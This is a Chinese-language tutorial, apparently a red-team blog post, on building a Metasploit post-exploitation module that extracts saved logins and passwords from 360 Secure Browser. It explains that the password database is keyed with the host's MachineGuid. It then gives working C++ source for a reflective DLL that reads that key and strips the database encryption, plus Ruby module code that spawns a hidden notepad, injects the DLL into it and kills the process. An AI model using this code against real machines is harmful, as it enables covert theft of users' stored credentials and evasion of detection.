编写Metasploit模块获取360安全浏览器登录帐号密码

前言

  • 本文不涉及360安全浏览器保持的登录密码的加解密算法分析,仅对模块编写思路讲解。
  • 因为360浏览器安全用到了wxsqlite3对保存的登录密码数据库进行了加密,Metasploit的原生模块sqlite3-ruby无法解析wxsqlite3数据库,Railgun又在某些方面不太给力,所以只能自己使用wxsqlite3对数据库进行解密操作后再返回给Metasploit模块。

数据库解密

  • 先在浏览器打开se://login-maganer,做添加登录帐号密码,监控哪个文件修改了,找到保存登录帐号密码的数据库,发现并不能正常打开,然后队友一顿操作,就把数据库在哪里,用什么数据库,密码是什么,数据库里面的加密算法都告诉我了,数据库文件名叫assis2.db
  • 因为我们已经知道它会用到wxsqlite3对数据库进行解密操作,所以我们直接搜索找到了一个360安全浏览器里面的一个游戏插件的一个DLL文件,然后对sqlite3_key导出表函数下断点。

Untitled

  • sqlite3_key的定义sqlite3_key(sqlite3 *db, const void *zKey, int nKey),第一个参数是打开的数据库,第二个参数是密码,第三个参数是密码的长度。

Untitled

  • 压的第一个参数24转16进制为36,刚好为压入第二个8b7381f4-4279-4815-9323-504749029486的长度,所以说这一长串东西就是密码,其实就是当前主机的MachineGuid

Untitled

  • 问题来了,怎么在Metasploit中把数据库给解密出来呢?原生模块sqlite3-ruby并不支持解密函数,要想支持解密函数还要重新指定so文件重新编译,想着不可能每一个人的Metasploit环境都要重新编译sqlite3-ruby,所以还是想用C++自己写一个解密的工具,先解密了数据库再做其他东西。

编写解密DLL程序

Untitled

  • 编译成功后,把lib文件和wxsqlite3的include目录的头文件复制到你的项目下。

Untitled

  • 项目的属性里的预处理添加上加解密算法的类型,开启加解密功能
SQLITE_HAS_CODEC=1
CODEC_TYPE=CODEC_TYPE_AES128
SQLITE_CORE
THREADSAFE
SQLITE_SECURE_DELETE
SQLITE_SOUNDEX
SQLITE_ENABLE_COLUMN_METADATA

Untitled

# define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
# define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
# define _CRT_SECURE_NO_DEPRECATE
# ifndef SQLITE_HAS_CODEC
# define SQLITE_HAS_CODEC
# endif
# include "ReflectiveLoader.c"

# pragma comment(lib,"wxsqlite3.lib")  // wxsqlite3需要
extern "C" HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;

# include <windows.h>
# include <tchar.h>
# include <vector>
# include "wx/wxsqlite3.h"
# include "wx/wxsqlite3opt.h"
# include "wx/sqlite3mc_amalgamation.h"
# define  SQLITE3_STATIC
using namespace std;

string RegQueryValueApi(HKEY hKey, const char* lpSubKeyG, const char* KeyValueG)
{

    HKEY hKeyResult = NULL;
    HKEY hKeyResultG = NULL;
    CHAR szLocation[MAX_PATH] = { '\0' };
    CHAR szLocationG[MAX_PATH] = { '\0' };
    DWORD dwSize = 0;
    DWORD dwSizeG = 0;
    DWORD dwDataType = 0;
    DWORD dwDataTypeG = 0;
    LONG ret = 0;
    LONG retG = 0;
    string value;

    if (ERROR_SUCCESS == RegOpenKeyExA(hKey, lpSubKeyG, 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hKeyResultG))
    {
        retG = RegQueryValueExA(hKeyResultG, KeyValueG, 0, &dwDataTypeG, NULL, &dwSizeG);
        retG = RegQueryValueExA(hKeyResultG, KeyValueG, 0, &dwDataTypeG, (LPBYTE)&szLocationG, &dwSizeG);
        if (ERROR_SUCCESS == ret)
        {
            value.append(szLocationG);
        }
        RegCloseKey(hKeyResultG);
    }

    return value;
}
int ExecutePayload()
{
    // 读取MachineGuid
    HKEY hKey = HKEY_LOCAL_MACHINE;
    const char* lpSubKeyG = "SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY";
    const char* KeyValueG = "MachineGuid";
    string szMachineGuid;
    szMachineGuid = RegQueryValueApi(hKey, lpSubKeyG, KeyValueG);
    int ret = 0;
    sqlite3* db = 0;
    // 打开数据库
    ret = sqlite3_open("<assis2.db 的路径>", &db);
    // 解密第一层密码
    sqlite3_key(db, szMachineGuid.data(), 36);
    // 清除原来的密码
    sqlite3_rekey(db, NULL, 0);
    sqlite3_close(db);
    db = 0;
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;

    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE *)lpReserved = hAppInstance;
        break;
    case DLL_PROCESS_ATTACH:
        ExecutePayload();
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}
  • 编译成功后会生成一个DLL文件,将它拷贝到Metaslpoit的data再创建一个目录,这样就可以在Metaslpoit中调用,内存执行了。

DLL反射注入

  • 虽然只解密数据库并没有什么敏感操作,但是还是不想解密工具落地,所以选择了DLL反射注入作为执行扩展功能的实现方法。
  • 下面是Metasploit模块的调用DLL反射注入关键代码:
def inject_dll(process, dll_path)
    library_path = ::File.expand_path(dll_path)
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    [exploit_mem, offset]
end

def remove_password
    print_status('==> Removing database password...')
    dll_path = File.join(Msf::Config.data_directory, 'post', '360', 'remove_password.dll') #  data目录下的DLL文件路径
    notepad_pathname = get_notepad_pathname(ARCH_X86, client.sys.config.getenv('windir'), client.arch) #  获取32位的记事本路径
    notepad_process = client.sys.process.execute(notepad_pathname, nil, 'Hidden' => true) #  隐藏执行记事本
    hprocess = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
    exploit_mem, offset = inject_dll(hprocess, dll_path) #  注入DLL到进程
    hprocess.thread.create(exploit_mem + offset) #  创建线程调用DLL
    sleep(5)
    client.sys.process.kill(hprocess.pid) #  关闭进程
end
  • 由于我只编译了32位的DLL文件,所以只能注入到32位程序的进程中,在这就隐藏打开了32位的记事本,然后将DLL注入到记事本进程中执行,5秒后关闭进程。

操作演示

Untitled

Untitled

总结

  • 从Meterpreter内置API到可以调用Windows API的Railgun,再到DLL反射注入,三种接口各有各的优点和不足,灵活运用才能写出满足实际需求的模块。

参考

https://github.com/stephenfewer/ReflectiveDLLInjection

https://payloads.online/archivers/2020-03-02/1